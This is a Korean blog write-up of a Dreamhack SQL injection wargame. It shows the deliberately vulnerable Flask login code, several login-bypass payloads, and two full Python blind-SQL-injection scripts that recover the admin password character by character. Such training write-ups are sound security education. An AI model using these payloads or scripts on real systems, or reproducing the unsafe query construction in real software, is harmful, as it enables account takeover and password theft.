Dreamhack

SQL Injection(2)

kchabin 2022. 8. 11. 23:35

Simple-SQLi 문제의 목표 : 관리자 계정으로 로그인하면 출력되는 flag 획득하기.

사이트에 접속하면 간단한 로그인 기능만을 제공하고 있음을 확인할 수 있다.

 

Figure 1. 데이터베이스 구성 코드

DATABASE = "database.db" #데이터베이스 파일명 database.db로 설정
if os.path.exists(DATABASE) == False: #데이터베이스 파일이 존재하지 않는 경우,

    db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
    db.execute('create table users(userid char(100), userpassword char(100));')
    #users 테이블 생성
    #users 테이블에 관리자와 guset 게정 생성
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), 
    ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit() #쿼리 실행 확정
    db.close() #DB 연결 종료

위의 코드로 생성된 데이터 베이스 구조

users

userid userpassword
guest guest
admin 랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)

userid와 userpassword 컬럼은 각각 이용자의 ID와 PW를 저장한다. 

admin 계정의 비밀번호는 랜덤하게 생성된 16바이트의 문자열이다.

 

@app.route('/login', methods=['GET', 'POST']) #Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리
def login():#login 함수 선언
    if request.method == 'GET': #이용자가 GET 메소드의 요청 전달한 경우,
    
        return render_template('login.html') #이용자에게 ID/PW 요청받는 화면 출력
    else: #POST 요청 전달 시
    
        userid = request.form.get('userid') #이용자의 입력값인 userid를 받은 뒤,
        userpassword = request.form.get('userpassword') #userpassword를 받고 
        
        # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원정보를 불러옴
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        
        if res: #쿼리 결과가 존재하는 경우
            userid = res[0] #로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
            
            if userid == 'admin': #로그인 계정이 관리자 계정인 경우
                return f'hello {userid} flag is {FLAG}' #flag 출력
                #관리자 계정이 아닌 경우 웰컴 메시지만 출력
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
            # 일치하는 회원 정보가 없는 경우 wrong
        return '<script>alert("wrong");history.go(-1);</script>'

 

풀이 1 : 로그인을 우회하여 풀이 -> SQL Injection

풀이 2 : 비밀번호를 알아내고 올바른 경로로 로그인 -> Blind

 

userid와 userpassword를 이용자에게 입력받고 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다.

이렇게 동적으로 생성한 쿼리를 RawQuery라고 한다. 

RawQuery 생성 시, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다.

이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword 에 삽입해 SQL Injection 공격을 수행할 수 있다.

def query_db(query, one=True):
    cur = get_db().execute(query) #연결된 데이터베이스에 쿼리문을 질의
    rv = cur.fetchall() #쿼리문 내용을 받아오기
    cur.close() #데이터베이스 연결 종료
    return (rv[0] if rv else None) if one else rv
    #쿼리문 질의 내용에 대한 결과를 반환
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

 

LIMIT : 지정된 순서에 위치한 레코드만 가져오고자 할 때 사용

 

로그인 페이지에 admin"--와 임의의 패스워드를 입력하면 플래그를 얻을 수 있다. 

 

 

Blind SQL Injection 

로그인 요청의 폼 구조 파악

쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야 한다. 

 

1. 개발자 도구의 네트워크 탭 열고, Preserve log 클릭

2. guest로 로그인

3. 메시지 목록에서 /login으로 전송된 POST 요청 찾기

4. Payload에서 Form Data 확인

로그인할 때 입력한 값 확인 가능하다

 

비밀번호 길이 파악 스크립트

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin

class Solver:
    """Solver for simple_SQLi challenge"""
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> bool:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
        
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
        
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
        
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
        
    def solve(self):
        pw_len = solver._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")
        
        
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

비밀번호 알아내는 스크립트

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""
    
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
        
        
        
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp
        
        
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
        
        
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
        
        
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
        
        
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ''
        for idx in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
            print(f"{idx}. {pw}")
        return pw
        
        
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")
        
        
if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

획득한 비밀번호를 이용하여 admin으로 로그인하면, 플래그를 획득할 수 있다. 

{redacted}

'Dreamhack' 카테고리의 다른 글

암호학 - 해시  (0) 2022.08.12
No SQL Injection 실습  (0) 2022.08.11
SQL Injection(1)  (0) 2022.08.11
SQL  (0) 2022.08.11
CSRF 실습  (0) 2022.08.05